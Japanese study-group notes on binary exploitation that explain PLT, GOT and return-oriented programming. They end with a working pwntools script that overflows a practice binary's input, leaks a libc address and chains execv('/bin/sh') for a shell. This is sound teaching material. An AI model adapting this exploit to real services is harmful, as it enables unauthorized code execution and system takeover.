---
# System prepended metadata

title: 11/17 低レイヤ勉強会

---

# 11/17 低レイヤ勉強会

## 連絡
- 来週はテスト週間ということでお休みにします
- 11/26に定例報告会があり、11/27はレポート提出です。
そろそろ準備お願いします

- 11月からはハリネズミ本を使って、勉強会用の資料を作っていきます
    - Malleus CTF Pwn を使ってみて、教える側(小俣)からしても基礎が足りなく、十分な解説ができないと判断したため...
## 4.3より
login3の逆アセンブリコードを生成したと思いますが、
そこから**libc中のprintfのアドレスが格納されているアドレス(printfのシンボル)は0x404020** <printf@GLIBC_2.2.5>とわかります。

紛らわしいですが、アドレスにアドレスが格納される状態になっています。
そしてlibc中のprintfのアドレス自体は不明で、それを求めるのが今回のテーマとなっています。
これを覚えておいてください

## 4.4 Return-oriented programming(ROP)
libc内のprintf 関数のアドレスを取得する。
=> puts(printf)をCTF的なアプローチで実行
### LIBC と PLT と GOT

- libc : 共有ライブラリのこと。関数の実体が存在。
- PLT (Procedure Linkage Table): **アプリケーションから**直接呼ばれる．GOTから対応する共有ライブラリ関数のアドレスを取得し，間接ジャンプする．
アドレスは**アプリケーション固有**
- GOT (Global Offsets Table): 共有ライブラリ関数のアドレス一覧．実際に関数が呼ばれてからアドレスが設定される．
**動的**, アドレスは**すべてのアプリケーションで共有**
### 図解すると...
- プログラムの実行時
    - GOTとlibcがリンクされ、関数が存在するアドレスへのリンクが設定される。
    - プログラムは、呼び出される関数のアドレスを最初PLTから探し、存在しないのでGOTから取得する。その際に関数へのリンクがPLTに保存される
-　2回目以降、同じ関数が呼び出されたとき
    -　PLTを利用してlibcの関数を直接利用する。
    -　**プログラムが終了->再実行されない限りこのリンクは不変**

- login3 の PLT の puts 関数のアドレスは固定
    - login3の逆アセンブリデータ(objdump)を読むと、0x401030 <puts@plt> のようにアドレスがわかる。
    - これを利用して、puts(printf)のような感じでprintf 関数のアドレスの取得を目指していく。

### puts 関数に引数を渡す
- CPUのrdi レジスタに関数の第1引数が格納される。
- メモリのスタックを用いてrdiに値を取り出す pop rdi 命令を使う
    - gdbのdumpropコマンドを使い、すでに存在するpop rdi命令を探し、そこに便乗する
    - **注意:** 逆アセンブリデータからpop rdiの部位を探そうとしても見つからない！テキストにもある通り、pop r15というまったく別の表記になっているので...
    - よって pop r15 == pop rdi となる。
- pop rdi(r15)で0x404020がスタックから格納されるが、
スタックに ox404020に続けてputs関数のアドレスも書いておくと、ret 命令でputs関数が呼び出される。
- これがROPという、プログラムが終了しようとするタイミングで、別の関数を実行する手法。

## 4.6 Pwntools
以前にPwntoolsの説明をしたと思うので、すでに説明した部分は省略しています

```a.py
from pwn import *
elf = ELF('login3') # 自分のlogin3 実行ファイルのパスを('')内に記入
context.binary = elf
s = remote('localhost', 10003)

# ------------------------------

#1回目のROPでlibc内のprintfアドレスを取得。

rop = ROP(elf)
rop.puts(elf.got.printf)
rop.main()
print(rop.dump())
s.sendlineafter(b'ID: ', b'a'*0x28 + rop.chain())
# id を格納する変数と、古いrbpの値分のスタックを全部埋める。
# ちょうどその次からアドレスの部分にあたるので、そこでropを使う。

s.recvline() # Invalid ID というメッセージが出てくるので、それまで待つ。

# ----------------------------------
# 自動でlibc中のprintf のアドレスを取得する。
printf = s.recvline()
printf = unpack(printf[:-1].ljust(8, b'\0'))
print('printf: %x'%printf)

libc = ELF('libc-2.31.so')
# 自分のlibc-2.31.so のパスを('')内に記入

libc.address = printf - libc.symbols.printf
# libc ファイルとprintfのシンボルのアドレスからlibc 内のアドレスを取得する。

# ---------------------------------------
# 2回目のROPでシェルを実行する。

rop = ROP(libc)
rop.execv(next(libc.search(b'/bin/sh')), 0)
# シェルを見つけるまでの動作は自動で行われる。
print(rop.dump())
s.sendlineafter(b'ID: ', b'a'*0x28 + rop.chain())

s.interactive()
```
